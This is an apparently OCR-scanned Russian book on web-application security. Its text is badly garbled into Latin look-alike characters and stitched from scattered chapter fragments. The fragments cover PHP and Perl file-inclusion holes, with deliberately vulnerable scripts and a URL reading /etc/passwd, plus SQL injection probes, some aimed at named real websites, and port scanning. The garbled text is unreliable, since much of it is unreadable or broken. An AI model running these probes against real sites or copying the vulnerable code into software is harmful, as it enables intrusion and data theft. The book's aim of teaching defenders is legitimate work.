Puc. 9.1, OkHO 2anpoca UMeHW W napons

JlvpexTya AuthUserFile 3agaeT WMa daiina, B KOTOPOM Haxomutcs Gasa uMeH
u napofieit nonksosateneit Web-caifta. O Tom, kak cosaasath Takoii gaiin u pabo-
TaTb ¢ HMM, MBI TIOTOBOPKUM Moxe. [J0CAENHAA DMPEKTHBA Require B Ka4CCTBE
TlapameTpa ¥CNOTb3yeT SHAYCHUE valid-user. JTO 3HAUMT, 4TO Dailiier B TeKyweH
UPEKTOPHH CMOTYT OTKPBITH TObKO Te MONb30BATENH, KOTOPEIE NPOLIAK ayTeH-
TuUKaLmro.

Bot Takum npocThiM criocoBOM MOXHO 3ANPEeTHTh HEABTOPUIOBAHHBLIA AOCTYT
K AHPEKTOPHH, conepiaiei CekpeTHbie AaHHbIe WIH CUSHAPUY aAMKHUCTPATOPA.
Bonee noapoGHyio nadopmaunio of 3T0M METOLE aBTOPH3AUMH MOXKHO Y3HATH M3
khur "Linux rnasamu xakepa” [2] wnn "PHP raasamn xakepa” [3].
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ABTOMATH3MPYIOT ITOT mpouecc. Bul He nosepHTe, HO ONATE 3Ke NO UCCAENOBAHH-
AM PasNH4HBIX komnauui, 8 UHrepHere paGotaer Gonblioe KOAMUECTBO "AbIps-
BBIX" CLicHapHeB, DTo CBA3AHO C TeM, 9TO Nphn paspaborke Web-caliToB B HHX H3-
HauanbHO BHOCATCR olwnbku. Her, He crieumansHo, HauuHaomue nporpamMmuctbl
O4eHb Peko NPOBEPRIOT BXOAALUIME NIAPAMETPh] B HAAGKIE, YTO NONE30BATENb HE
Gyner usMenaTs kog Web-crpanuubl uau URL, rae Web-cepsepy nepeaatorcs
HeoOXOnUMbIE JaHHbIE 1A BEINONHEHHA KakMX-nGo AelcTBuiL. JTo cTano Bo3-
MOXHBIM NOTOMY, HTO NPOTPAMMUCTE! NOHANEANHCh Ha N0GPOCOBECTHOCTh MOCE-
THTeneil. A 3ps.

OuwmbKy ¢ napaMeTpaMy UMENa OHA U3 3HAMEHHTHIX CHCTEM ynpasieHus Web-
caittom — PHP-nuke. Xom™ B 3T0H nporpaMme Takue owGky BCTpeuaineh Heod-
HOKpaTHO, OAHa HaulyMena Gonbie cero. PHP-nuke — 310 HaGop cueHapues,
NO3BONAOLLMAX CO3ATE (OPYM, HaT UAM HOBOCTHYIO NEHTY M yNpaBiATb COAep-
KHMbIM Web-cafita Gea 3HaHHa nporpammupobanus. JlroGoli nomb3osatenb KoM-
NblOTEPa, Aaxe C Hebonblnm CNbITOM, € NMOMCLILKY HEE CMOXET JIErKO CO3AaTh
ceoii Web-caiir.

Bce napaMeTpbl B CueHapuAX nepeialOTCA uEpes aapecHylo crpoky Gpaysepa,
M NPOCYET COREPHANCA B napaMeTpe ID. PaspaboTuuki npeanoniarany, 4TO B HeM
GyneT nepesiaBaThC® YHCIIO, HO HE NPOBEPANH ITO. Xakep, 3HAIOLMN CTPYKTYpY
6a3bl AaHHbIX (2 3TO He CNOXKHO, MOTOMY 4TO McXoaHble koabl PHP-nuke moctyn-
HBI), IEFKO MO NnomecTHTs SQL-32npoc k Gase JaHHbIX CepBepa B napaMeTp 1D
M NONYYMTb NaponK BCEX 3aperMCTpUpOBaHHbIX Ha Web-caiite nonbzoBareneid.
Koneuwo, naponu GyayT 3auinpoBaHsl, HO AT pacliMPOBKH HE HALO MHOrO
YCHAKH, 3TO Mbl PaccMOTPUM 4yTb nodxe. Jleno B TOM, 4TO ecnik nonb3oBaTenei
MHOT0, TO BEJIMKE BEPOATHOCTD, HTO Y KOro-TC U3 HUX 6}’1131‘ cnabblii napons.

IMpoGnema yCROMHACTCA TeM, YTO HEKOTOpbIE A3bIKK, HanpUMep, Perl, usnauansuo
He 6bIIH npeaHa3HaveHb! I MCO/MB30BaHUA B HHTepHCTe. H3-3a 3TOrO B HUX
CyLMECTBYIOT OniacHble YHKUMH QNS MaHHNYIMPOBRHHA CHCTEMOM, H €ClH mpo-
TPaMMHUCT HEOCTOPOKHO NPUMEHHS HX B CBOMX MOAYAAX, TO 3NOYMBILUTEHHUK
MOXET BOCMONb3OBATLCA TAKOH HEOCMOTPHTENIbHOCTHIO. Ho JIaKe ec/iM A3bIK pas-
pabaThiBanca CNELMANbHO AMs Co3AaHHa Web-caiitos, onacHble (yHxumy Taioke
MOTYT MNPpUCYTCTBOBaTb U B HEM.

nOTcHuMW’leO OonacHble q]yHKLlHM €CTb NPaKTHYECKH BE3JE, TONBKO B pasHbIX
nponopuuax. EfuHcTBeHHBIH Gonee MAM MeHee 3alUMINEHHbIH ssbix — Java.
M paxe 3TOT A3BIK B HEYKIKOKMX PYK2X MOXET NpeBpPaTHTLCA B G0NbLIMe BOpOTA
VT8 XaKepoB ¢ Haanucbio: "Jlobpo noxancsats!”

Ho camas 60nburas ys3BUMOCTb — HerpaMOTHbIH Nporpammuct. Hs-3a HexsaTkn
CREeUHaNMCTOR B 370l 0BNACTH NPOTPaMMUPOBAHHEM CTANH 3HUMATECA BCE, KOMY
He jieHb. MHOFWE CaMOy4KkH AaXe He TIBITAloTCH 3alyMaThcA O 6e30nacHocTH,
2 BIJIOMILMKAM 3TO TONIKO Ha pyKY.
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Ecim HeoGXOAMMO NOMTYUMTE BCE CTPOKH, HaulHad ¢ 50-0if, TO B KAYECTEE N HYXKHO
yKasaTb qucio —1:

SELECT *
FROM TableName
LIMIT 50, -1

Bcerga nonyuaiite ot CYB][ Tonbko camble HeoGxonuMele aanHbie. Jaxe 3anpoc
AUINHEH KONOHKK Tpefyer JMINHKX 3aTPAT M PECYPCOB HE TONBKO AMa Web-
cepsepa, HO U ANA CETEBOTo 000PYN0BANNS, U 1A IUTHEHTA.

8.2.4, Peaiome

Mei paccMOTpEAR TONbKO OCHOBbI OmTHMH3auMK SQL-3anpocos, 3a Gonee mon-
pobuoli uHGopManueii obpamaiitech K CIENUANMIUPORAHHON TUTEPATYPE MO UC-
nonbsyemoii samu CYBI. Jiaa MS SQL Server u ero omriMU3audK Mory nopexo-
Mesgoeath kuury "Transact-SQL. B noanuusuke" [4].

8.3. OnTumuzauus PHP

Mmui PaccMOTpeNid TEOPHIO OMTUMHU3ALIAH, NOTOBOPUIM O TOM, KaK MOXHO YCKO-
pute pabory CYE]], a Tenepb HaM IPSACTOHT Y3HATD, KaK G MOXKHO OMTHMH3N-
poBath cam kon PHP. Korma Bel HAWNH cAaB0e MECTO B CHCTEME M YGEIHAKCh,
YTO fin8 PaboThl MCTIOAB3YETCA Haubonee s GEKTUBHBIN ATrOPUTM, MOXHO Tepe-
XOMWTL K YAYUIEHHIO koa U PHP-nucTpyKumii.

B 37OM pasgene Mbl PACCMOTPHM METOAE!, KOTOPEIE MOTYT 3HAUMTEALHO CHUSHTE
spema dopmuposanis Web-CTpanuL 4 yMEHBIIATS BEPOATHOCTE YCNELIHOTO NPO-
BeaeHua DoS-ataku. HecMoTps Ha T0, 4TO Mbl GyAEM pPaccMaTpUBaTh IIPUMEpH!
Ha PHP, nono6Heie anropuTMel MOXKHO peanu3osaTh W B APYTHX A3bKaX NOpo-
TPaMMHpOBAHHA. '

8.3.1. KawupoBaHue BbiBOAA

Y PHP ecTh HeCKONBKO MHTEPECHBIX (YHKUMMH, C MOMOLUBED KOTOPBIX MOKHO
BKJIIOUMTL Gy(epu3auMio BLIBOAA M NOBLICHTE CKOPOCTh paBoThl CueHapus, Ha-
np1Mep, KILIKPOBAHKE BIBOAA.

Jina Hauana KILIMPOBAHHA HEOOXOAMMO BLI3BATL DYHKUKIO ob_start, a B KOHUE
BbI3BATh (YHKUHIO ob_end_flush. Bce omepauvy BubiBOma HAHHBIX (HAONpHMEP,
print) MeXIy BLI3OBAMHM 3TUX ABYX (yHKUMH GyayT coXpassaTh nanHuie B Gyde-
pe, a He HampaBNATL KnueHTy. HenocpenctsenHas oTnpaBka AAHHLIX KITHEHTY
11PON3OIAET TONbKO OCNE BbIIOBA (yHKUMM ob_end_flush. Eciu yHKUMs
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Hrak, puasrposarbea o642aTebHO NOMKHD:

O nsofiHble TOUKH, YTOGL XAKEP HE CMOT NOAHATLCA HA YPOBEHD BLILIC B ASPEBE
karanoroe OC;

O cnsmy, «ro6bi Xakep He CMOT OTYCTHTECS HA YPOBEHD HIDKE B [AEPEBe KaTano-
ros OC.

Bysier nyuine, ecu uepes napameTpsl He GyeT nepeaasaThca PacluMPEHHUs, TOrAa
BB MOXETe (HNLTPOBATE W OJMHAPHEIE TOUYKH. DT0 GYHeT TONBKO AONOMHKTEAL-
HbIM TIMOCOM K GesomacHocTH. UeM MeHbille CUMBONOB JOCTYIIHO XAKEpy, TeM
AIyuLIe, HMEHHO MO3TOMY B PyHKUMM UNBTPaLKK, IpUBELeHHON B ucTUHTE 3.2,
W3 napaMeTpa BLIPEAIOTCA BCE CHMBOE, KPOME NIATHHCKHX GYKB.

TonobHbie OWMOKH MOXHO BCTPETUTE W B CUCHADHAX, HaNHCAHHBIX HA APYrHX

AIBIKAX MPOrPAMMUPOBAHUA, 3TO CBA3AHO C TeM, 4TO (YHKUMH MOAKTIMEHHS
taiinos ects He Tonsko B PHP.

H1o6bl XaKEP HE HMEN HOCTYNa K BAXHOH MHGOPMALIY, BbI HOJKHLI MAKCHMATb-
HO 3 PeKTUBHO HACTPOHTS fpasa AocTyna. Jna OC Linux wneanbHbiM BapHAHTOM
Oynet paboTa B cpene chroot, wTOO Xakep He CMOT ROMYUHT NOCTYR K PEaNbHOH
¢aiinosoit cucTeMe U yBURETb KOHQUrypauonHbie dainwl (cm. pasd. 1.10.1).

3.1.3. UHLekuun kopa

DyHKUMH include U require HE OrpaHUUMBAIOTCA GaHAIbHLIM APOCMOTPOM (aii-
nos Ha Web-cepsepe. Ecsin 661 npofnema 6b1ia TOALKO B 3TOM, TO €8 MOXKHO GbLI0
661 M3bexaTs npasUALHEIM KOHQUrypUpoBaHUeM, wTobu xakepy Obut me po-
CTyMHbI KPUTHHHBIC C TOHKH 3peHus GesonacHocTk daitnbl. [Tpobaema B TOM, 4TO
MOXHO yKa3aTh ynanennbii Galin, pacnonoxennbit cosepuienso na gpyrom Web-
cepsepe, K CLeHapUI MOXKET 38rPY3UTb €10 W BBINOJHKTE TOYHO TaK Xe, KaK M Jo-
KansHblil. [lapaiiTe MOAPOGHO paCCMOTPHM 3Ty MpoGneMy CO BCEX CTOPOH.
Jlns uAmIOCTpauMy NPUMEPOR HAMUIIEM CASAYIOUMH YA3BUMBbIH CUEHADHH, KOTO-
poifi #e GyaeT IpoBepATE NONY4aeMbIH NapaMeTp £ile, KOTOPHI Hanpamyto Gyner
nepeaaBaTECA PYHKUMH include!
<HTML>
<HEAD>
<TITLE>Injection test</TITLE>
< /HEAD>
<BODY>
<?

if (isset(sfile))

(
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Puc. 3.12. Tak BeIfNAQMT PesynLTaT BbINOMHEHAA CLIEHApUR

Cuenapmit oT06paXkacT Ha KpaHe BLINAJAIOWMA CITHCOK, B KOTOPOM MOJE308a-
Tens MoxeT BbIGpaTs HHTEpecytowmit ero pasnen Web-calita: News (HorocTH),
Download (ckauats), Story (pacckase) u Contacts (kowraxrer). Bubpan-
HBIF MIEMEHT BBINAJAMOIIEro CMKCKA NepeaaeTca CUeHApHIo B BHAE HHUcaa oT |
70 4. TlonyunB 3To 3HayeHHe 4epe3 NapaMmeTp where, CLEHapHil NPON3BOAHT
nPOBEPKY, €CNM MapaMeTp paseH 1, TO B MEPEMEHHYIO $£ile 3aMMUCaTh JHAUCHHE
news/news.html, eCM TApaMeTp paBeH 2, TO B $file MOMAjaeT 3HaueHHE
news/download.html M T. A.

Uro 3peck moxer GuiTh cTpalHOro? Bexs nojyueHHbIe OT nons3oBaTens AaH-
Hbie HE MCNOAL3YIOTCA B (GYHKUWH include? Ha mepsuiit parnag wuuero, Ho
ONBITHBIM XaKEp 3aMETHT OLIMOKY. A UTO £CAIHM MEPE3 NapaMeTp where NEPEAaTH
uucno 57 Takoe 3HayeHHe B CLEHAPHM HE TIPEAYCMOTPEHO, A 3HAYMT, NEPEMEH-
Had $file OKAXETCA HE NPOMHHLMANHIHDOBAHHOW. XaKepy OCTaeTCa TONbKO
3a4aTh CBOE 3HaueHwHe 3T0# nepemennod uepes URL u nonyunts ReoGxoaumeiti
pe3ynbTaT.

Ecau Bl XOTHTE YBUAETH (haiin /ctc/passwd, To moctatouro B ctpoke URL yka-
2aTs: hitp://192.168.1.5/param1.php? where=6&file=/etc/passwd.

BB napameTpe where 2 Nepesiald HECYIIECTBYIOLICE 3HAYEHHE, 4 wepe3 £ile COIARI0
nepeMerHyIo $£ile W NEpenaio 31eck HyXKHbiH MEe aii. PesynbTaT BLINONHEHUR
ITOrO ClLieHapHs B BHE PHCYHKA 1 Y)ke NPHBOAHTS He Byay, noToMy uto Mol dakin
Jetc/passwd Bl yke, HABEPHOE, BEIYYHAN HAHIYCTD.
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BO3MOXKHOCTH TIO/IL3IOBATENAM 33KAMMBATE CBOM M30GpaNceHua, koTophie SymyT
oTobpaxatees Han coobiennamu. Ho npu 3TOM MBI 10KHD! 6bITh YBEPEHHBIMA,
470 B aline nelicTBuTenbHO rpaduuecKue nauHbiE, 2 HE TEKCT W, TeM Gonee, He
cueHapuit. Kak s 3ToM y6eantbes?

Omuoit nporepky ¢aiinor vukoraa ve GuisaeT nocratouno. Hyxuo ofssarensao
HECKONBKO 3TANOB KOHTPOAA [AHHBIX, MOTOMY YTO OAMH YpoBeHb oGoiTH Beerna
HaMioro apotie. PaccMoTpiM IPUMEp, KaKKE IIPOBEPKH MOXHO CAeaTh ATA dak-
JI0B H30GpakeHn .

TMonpoGyiire sakauate GIF-Gaiin na Web-cepsep ¢ NOMOLIBI) PACCMOTPEHHOIO
pasee (cm. pasd. 4.3) cuenapus. B rnome type Oyner comepkaThCA TEKCT
"image/gif". JIo 3HaKA CA3I HAXOAMTCS TUM image, @ MOC/HE MOXHO YRUAET pac-
wipenne Qaiina, ng IPEG-daiinog nocse cisina MOXKHO yBUIAETE 3pg, jpeg WK
pipeg, a ang PNG-daiina sto 6ymet png. Bee sti Tunbl noanepxusaiorca 6onb-
LIMHCTEOM COBPEMEHHbIX Gpay3epos, i HMEHHO UX MbI GyeM POBEPATE,

A Teneps nonpo6yeM mepedMEHOBaTh NPOCTOH TeKCTOBBIA hait co cueHapuem
8 ¢aiin ¢ paciupenuem .gif ¥ 3akauaem ero Tem e cueHapuem. B nepemennofi-
THna Gymer comepxathca TEKET “plain/text”. HecMOTps Ha paciupeHue
rpadueckoro daiina, nporpaMma BUANT, 4TO THO (aiina TekcTosuil. [lonyyaerca,
HTO HeNb3A BEPUTH PACLIHPEHHIO, 2 BOT THIY $aiina MOKHO N0BEPATH. .

B nucTunre 4.2 npuseeH IpUMEp ClieHapus, B KOTOpoM Thi daitna pasbupaercs.
Ha COCTABJAIOLME (A0 U [OCAE CA3IA), M IIPOHCXOIMT MPOBEPKA JOCTOBEPHOCTH,
paciunpeHns 1 Tuna. Jng Toro 4To6bl pa3éuTh TeKeT THNA (aiina yaa4Ho MOAXOANT
yHKUMS preg_match C PETYASPHBIM BBIPAKEHUEM * ([a-2]+)\/ [x\-]1*([a-2]+) .
3atem TMIPOHCXOAKT MPOBEPKA ¢ IIOMOWIEIO OnepaTopa switch NOAYUYEHHOTO TUMA.,
Ecnu on ne COOTBETCTBYET HH OAHOMY H3 Pa3speLiCHHBbIX, TO BbISbIBACTCA METOA
die Juis 3aBepiieHua paGoThl cUeHapuA. |

<?php

preg_match ("' (fa-z)+)\/[x\-]1*([a-z]+)'", $filel type, Sext};
print("<P>Sext[1]");

print("<P>$ext[2]"};

switch(Sext[2]} .
{

case "jpg":

case "jpeg*:

case "pipeg":
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JIOCTATOYHO MHOTO noneasol HH¢OPMBL\HH, B TOM YHCJIE H BBIMOMHAEMBIH CLieHa-
pHEM 3an1poc, uma TabNHUBE A ¢ oA,

Ha npogeccuonaneinix Web-caifTax, koTopsie 06CAYKHBAIOT ONMBITHBIE aZMAHU-
CTpaTopbl, BH He yBuanTe ook B SQL-3anpocax. Bee npekpacho moxumator,
4TO TaKMe OWHGKM NAI0T XaKepy CIMLIKOM MHOTO WHGOPMalKK, [I03TOMY, TIONY-
4as HEKOPPEKTHLIE NapamMeTphl, CLEHAPHii TIPOCTO MOXKET MPEpLIBaTEL CBOIO paBo-
Ty, orobpaan myctyio Web-crpannuy i Web-crpanuily, Ha KOTOPOii HaxoauT-
ca Toabko wanka Web-cafita. Ecsin el yBuzenu nyctyio Web-ctpanmwy, To sTo
aGComoTHO HUYEro He roBOpHT. BosMonHO, Tam ecTh owubka, a MOXKeT ObITh e
TaM U HET.

Y06l yGenuThca B HAIMYWW BOIMOMKHOCTH peanusauuy OiMOKM, B Kave-
CTBE KOHTPONBHOTO BBICTPENA MOXHO MOMNBITATBCA BLITONHHTL CleAyrOIHEe
asa sanpoca: http:/flocalhost/index.php?id=1' and 1=1&s=test’ and 1=1
u http:/flocalhost/index.php?id=1 and 1=1&s=test' and 1=1.

B ofoMx cAy4asX mOMHMMO KaBbiMKH Mbl iepenaem ycroeue “and 1=l1", kotopoe
BO3BpALLAET NONOKUTEAbHbIN PesynbTaT, a 3naunT, SQL-3anpoc ¢ HaweH nabek-
Uueit NoMKEH NOAOKMTENbHO BHINONHWTRCA. Ecnu mocne atoro Web-ctpaniua
OTOGPA3NTCA KOPPEKTHO, TO ITO y:Ke rOBOPUT O BOIMOXHOCTH YAa4HOM aTaku U o
OpaBMALHOM HanpasieHuy. Ecin Web-cTpanvuta oTo6pasHTes mycTod, To omubku
CKOpeii BCero HeT.

OBpaTuTe BHUMaHHE, YTO B IEPBOM C/lyHae B TapaMeTpe id Mbl iePefiaeM KaBbly-
Ky, @ BO BTOPOM HeT. Jleno B ToM, 4TO 3TOT NapaMeTp ABHO YUC/IOBOH, a 3HAUMT,
B 3aNPOCE OH MOXKET GLITh OKPyKeH OXMHAPHON KaBLIYKOH, a MOXeT M HeT. Heol-
XOHUMO NPOBEPUTL 0Ga BapHAHTA.

5.2.5. NpoueHT onacHocTH

Bo scex CYBJI, KoTophie A BAAE, €C/IM CTPOKOBOE II0A€ CPAaBHUBACTCA C IEpe
MEHHOK HE ¢ ITOMOLLIO 3HAKA P2BEHCTEa, @ C MOMOLIBLIO LIKE, TO CUMBOJbI Npo-
LIEHTa H TIONYEPKUBAHUSA NPUHHMAIOT 0CoBbIH cMBICH. YT0o6bI noHATS ero, nasaiite
TIOCMOTpPHM Ha cneaytoumii SQL-3ampoc:

SELECT * FROM smf_polls WHERE posterName LIKE ‘Susername’

Cumsos TMOAYEPKUBAHUA O3HAYAET noGoi ONMHOYHBIA CHMBON. HaanMep, Bb! HE
3HaeTe, Kak NMpaBWAbHO HAMMCAHO MMA Muxaun Ha anriuiickom — Michael wan
Mikhail. B o6okx ciiy4asx cemb 6ykB n uMa HaunHaercs ¢ Syks Mi, a 3axaHuMBa-
eTcqa Ha Gyksy 1. B sToM CJTy4ae CUMBOJIbI, KOTOPLIE Bbl 3HaeTe TOYHO, MOXKHO Ha-
TIHCaTh B TeX ITO3ULHUAX, KOTOPbIE ECTh, 8 HEW3BECTHLIC CHMBOJIBI MOXKHO 3aMCHHTh
NIOAYePKUBAHUEM:

Mi 1
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7.2. SQL-MHBveKuma

Mbl e He pa3 FrOBOPHIH O TOM, YTO OIMOKa, MPHBOAAILAA K BOIMOKHOCTH SQL-
HHBEKUMH, MOXET OKA3aThCA B CUCHAPHH, HATIMCAHHOM MPAKTHYECKH Ha mofom
A3blKe AporpamMmupoBaHua. Perl Tyr e uckniodexue. apalite paccMOTPHM, Kak
372 ownbka npossaserca. J1a aTOre # HAUIEN OAWH ROCTATOMHO TOCEWAEMBIN
dopym (www.volcity.ru).

Tpn oGpautennn k Gopymy MEHS 3aMHTEpECOBAIO MMA (aiina cueHapua, NOTOMY
yTo ero pacuiipenue Guino .mhtm: http://www.volcity.ru/bb.mhtm. B peans-
HOCTH 3T0T (alin OKA3ancA MPOCTHIM CLEHapHeM, HamucakHbM Ha Perl, Bor
npumep URL, oropwkarowmii Tonuk oaHoro wu3 pasnenos  dopyma:
http://www.volcity.ru/bb.mhtm?com=1&r1=10&g_id=99999.

Ounbxa kpoeTcs B napameTpe rl, KoTopsli nepenaerca B SQL-aanpoc Ges npose-
POk Ha onacHme cumBosbl. [TonpoGyeM BoinofkuTs crepyouwmb SQL-3anpoc:
http:/fwww.volcity.ro/bb.mhtm?com=1&rl=10'%20and %201=1/*&g_id=99999.

A npocto aobasun B mapamerp ycnosne "and 1=1" i SQL-sanpoc Gbin BeimonteH
YCTICIUHO, FPH MEPEdauc HEBCPHOTO 3HaueHWs, HanpuMep, npu AoGasneHuu
xaxo#-mu6o Gyksel, Gynet sbibeicHo cooGimenne of ounbke (puc. 7.3).

To coobuiennio 8 owmbke cpazy BUAHO, YTO 3TO AEHCTBUTENLHO CLUEHAPHI, HaMH~
cannutit Ha Perl. YroGer Bam Guino ynobHee paccMoTpeTh olinGky, 5 BhbiHec ee
B ancTHHT 7.2,

s

iy i mmcwwx«thm».aumrwhm

sys[em error

et e mathod “orens” 20 40 ndgo galos i /gestf ool bt e 19

oy sstecs # o b 3 a4 0 s
Garp("calect * fror b wh and 72 = '§r¥§ate a") i §12 > 050 1£0;
oary("salact ¥ frorn bb wh ﬂm . nvd'r Ty Gk DESG Trnik 37) 1 502 ScHads

Ryt pite g
Sutput 2 $ABR->Query(*salect * frarn b whier r1 = "$1A"§str_a ardur by dat DESG llmit 7)1

1 sarsforadolehy. i Keipvwin b/t 14
firasiiyien e i M

faw emor

Puc. 7.3, Oumbia ebinontenna SCL-sanpoca





index-237_1.png
254 Inaea 7

Bee, uro Ml paccmaTpieaty B oTHowwenuy SQL-unbekuny 8 PHP u ASP (om. 7. 5
u 6), B pasHoli cTenenn otHocutea M k Perl, nostomy s we Symy nosropaThes,
Jlyuilie ABHHEMCA AafbUIE H PACCMOTPHM TO-TO §0/8€ HOBO® M HHTEPECHOE,

7.3. BbinonteHue CUCTEMHbIX KOMaHA

Crienytoman GyHKIMA, KOTODaS NpeACcTaBNseT yrposy GelonacHocTH Web-cepsepa, —
system. OHa noMydaeT B KayecTBe NapaMeTpa CTPOKY, KOTOpad NepenaeTcs Ha
BbINONIHEHKe creTeme. Cheyowmii MpHMep BLRIOTHHUT CHCTEMHYIO KOMBHIY 1s -al:
system("1ls -al®);

Ecnu B 3Ty DyHKUMIO MepefaeTca nepeMeHHas, moayuyeHHas OT MonL30BaTend,
TO XBKEP CMOXET MOYMUTh BOSMOXHOCTE BHITIONHATE B CHCTEME NPOH3BOJILHLIC
KoMaHIw. 51 pekomensyio 3a6ITh Ipo 3Ty GYHKUMIO W BeAYecKu naberaTh ee Mc-
TI0/B30BAHMS.

7.4. NMogknioyeHue cgannos

B Perl ecth dyHKUMA require, KOTOpPas, Kak W OfHOMMeHHas ¢yHkuus B PHP,
TIOAKIIIOYAET yKa3aHHB B KauecTse mapamerpa Qaiin W BeIMOAHRET ero. B muc-
THHre 7.3 MOKa3aH NpUMeEp CLEHAPHUS, KOTOPEIT:

01 oToGpakaeT GopMy ¢ TEKCTOBBIM MONEM 1A BBOAA NapaMeTpa;
] nepenaeT TEKCTOBKIH NapaMeTp CLEHAPHIO testrequire.cgi;
0 nepenaer MogyYeHHYIO CTPOKY (YHKUMHM require.

#'/usr/bin/perl -w
use CGI gw(:standard);

print "Content-type: text/htmlin\n";

print "<Hd>Test form</H4>";

print ‘<form action="http://server/cgi-bin/testrequire.cgi”
method="get">";

print '<input name="file" size="15">';

print '<input type="submit® value="Sukmit">':

print '</form>';

¢file = param('file'};
require($file);
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Be!yCﬂOBHD, HHTepecHO HabmoaaTb 3a TeM, K2K JB€ KOMIHIbI XaKEpOB BOKWT
Mesxay coboli, Banambisas Web-caifTel Apyr apyra, HO BCE NOKHO MMETH CBOH
npeaen. Kakoit 3101 npenen, s cysuTh He Mory. HUKTO He MOXET BBIHECTH pellle-
HUe, KakiM GbiTe HHTepHeTy, MOTOMY YTO Ha JaHHBIH MOMEHT OH cBoGoaeH
B Kaxao# CTpAHE NOAYMHACTCA CBOMM 32KOHaM. Ho l/[mepl-le'r — 3TO eRUHOE
ofiutectso, a 3akoH AomkeH GbITh 1in BeeX exuHbIM. [loka He Gyner 3aKkoHa, ero
COBIIONEHUA H KOHTPONS, aHApXHA ByAeT NPONOMIKATECA.

1.3. UccnepoBaHue

Korza mbl cTpouM niHIIO 060poHbI, HEOGXORHMO NOHKMATh, Kak XaKephl aTaky-
0T KOMINBIOTEPHl CBOMX XXEPTB. Tonsko TOT{a MOXHO MpPEeJOTBPATHTL HeXena-
TeNbHOE BTOMKEHHE ¥ 32IMKUTHTL cHcTeMy. OG 3TOM A YiKe roBOpHA M Celiuac Ham
NPEACTOUT pacCMOTPETh OCHOBBI HananeHUA, HCNONB3YEMBIE XAKEPOM. anl 3ITOM
6y11eM PAaccyXaTh TaK, Kak 3TO f1e/1aeT BUIOMIIUHK.

lIOn'ychdM, UYTC Y BaC Ha NPUMETE €CTh CEPBEP KK KOMNBKOTED, KOTOprﬁ HYXHO
B3JICMaTb MW NPOTECTHPOBATh HA 3aIRHLLIEHHOCTL OT B3/OMA. C uero HY)XHO Ha-
unHats? Uro caenath B nepeylo ouepeas?

YeTkoit nocneaoBaTenbHOCTH AeHcTaHi HeT. BanoM — 3To Teopueckwii mpouecc,
a 3Ha4MT, ¥ NOAXOQMTH K HEMy Hano € 3Toi ToukH 3penus. Her onpesencHubix
npaBHN, W He/b3A BCE TOABECTH NOA OAMH WabnoH, 3aTO eCTb HECKONBKO peKo-
MeH2LMi, KOTOPBIX MOXHO NPHAEPKHBATLCA,

Camoe nepeoe, ¢ uero HauuHaetcs Baom WiK TecT OC Ha ys3BMMOCTh, —
ckanuposanue noptos. Jlns uero? A Ana Toro, 4ToGbl y3HaTh, kakue crym6bl
(8 Linux 310 geMoHbl) ycraHoBneHB! B cHcTeMe. Kaxcablit oTkpbiThlii nopt — aTo
nporpamMma, yCTRHOB/IEHHaA Ha CepBepe, K KOTOPOH MOXKHO NOAKNKHUHTECH W Bbl-
TIONHKTL ONpeaeeHHble feficTaus. Hampumep, Ha 21-M nopry paGotaet cnyxGa
FTP. Ecnu Bbl cMOXkeTe K Helf NOAKIIOUHTBCA, TO BaM CTAHET AOCTYMHOH BO3MOXK-
HOCTb CKAYHBAHWA W 3arpy3ku daiinos. Ho 510 Tonibko, ecnu Bhl Gynere obnanars
COOTBETCTBYIOUIMMH NPaBaMy,

Crauana cnegyeT npockanupoBath nepebic 1024 nopra. Cpeay HHX O4EHb MHOTO
crauzaptHeix cryw6 tina FTP, HTTP, Telnet u 7. A. OTkpeiThiit nopT — 370
JABEph C 3aMOUKOM IR BXOA2 Ha cepBep. Hem Gonbiue Takux aBepeii, Tem Gonblue
BEPOATHOCTD, YTO KAKOH-TO 3aCOB HE BBIACPIKHT HATHCKR H OTKPOETCH, NOITOMY Ha
cepBepe NOMKHO GbITh 3aTyIREHO TONBKO TO, YTC HEOGXOANMO.

S o4eHb 4acTO roBOPIO B CBOWX paGoTax © TOM, YTO Bbl AC/KHAI YCTAHABMBATE
Ha CepBep TONBKO Te NPOrpaMMbi, KOTOPLIE peanbio GyayT ucnonbsosatbes. Bee
OCTanLHOE Myullle HE 3amyCKaTh, 3aMpellaTh, a Tyyllte BOOGILE HE YCTRHABAHBATD,
4TOGbI XaKep HE CMOT CAMOCTOATENBHO KX 32ITYCTHTh K HCNORb30BATh.
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B 9ToM nipimepe B nepemMenHYI0 §id 3aMMCLIBASTCA 3HAUCHHE ONHOUMEHHOTO Na-
pameTpa GET, HO TIPH 3TOM B CKOGKAX ABHO YKA3BIBASTCA, 4TO THN NEPEMEHHOM
momien GuITh “HCIOBBIM (int Wik integer). Teneps, ecin B mapamerpe Gyayt
CHMBOIIE, KOTODBIE HE ABMAIOTCA LHOPAMH, TO PE3YILTATOM GYIET OIUHOKA U ne-
pemennas $id 6yaet mycroi (pasHa Hymo).

5.7. Mouck yassumoro PHP-cuenapusn

B 3TOM pasnene Mbl PACCMOTPHUM Ha NPAKTHKE MOMCK OWHGOK M NpUMepHO o6o-
3HAYUM NaibHELINE ASHCTBNA, KOTOPbIE MOXET BHITIONHKUTL XaKep ANA B3AoMa
Web-ceprepa. Bce Web-caliThl ¢ owubku, koTophie monanu B 370T 0630p, —
PeATbHBI

5.7.1. Owubka B KaTarorax NPorpaMm

QOueHb YaCTO MOXHO BCTpeTUTh Web-caliThi, HA KOTOPBIX, HA EPBbIN BIrNAd, uc~
nonsaytores HTML-taiinsl, Ho B peanshocTn paborator PHP-cuenapuu. Ipocte
URL k HTML-¢atiny Asnserca Beero JMiib NCEBAOHHMOM K PEANbHOMY CLEHA=
PMIO W CKpBIBACT TIEPEAABACMbIE NapameTphi. [asaliTe PACCMOTPUM, KaK MOMNHO
B3AOMATH Takue Web-caitTel.

JHonyctum, uro URL Web-calita sBbiraaaut caeayomuM ofpasomi
http://free-software-download.info/index.html. [qauuuii npuMmep sensercs pes
anbHLIM M oTHOCHTCA kK Web-cality free-software-download.info (puc. 5.11).

B peantrocty daiina index.html ne cywiectayer. ITonpoGyem obpatuTsca k afin;
index.php: http://free-software-download.info/index.php. Onpegennts umeuﬂ
napaMeTpos ia storo Web-caifta mpofiiemMaTiusO, HO 3a€ch eCTh onHA 0CoGeH!
HOCTb: QopMa ana moucka. Owna ccelmaerca Ha PHP-dalin ¢ umenel
showpads.php. [TonpoGyem yepes cTpoky noucka nepenats YTo-2uGyns, B peaymnell
Tave nonyuaem URL: http://free-software-download.info/showpads.php?sorts
Title&catid=&search=All &string=fegdg&match=All

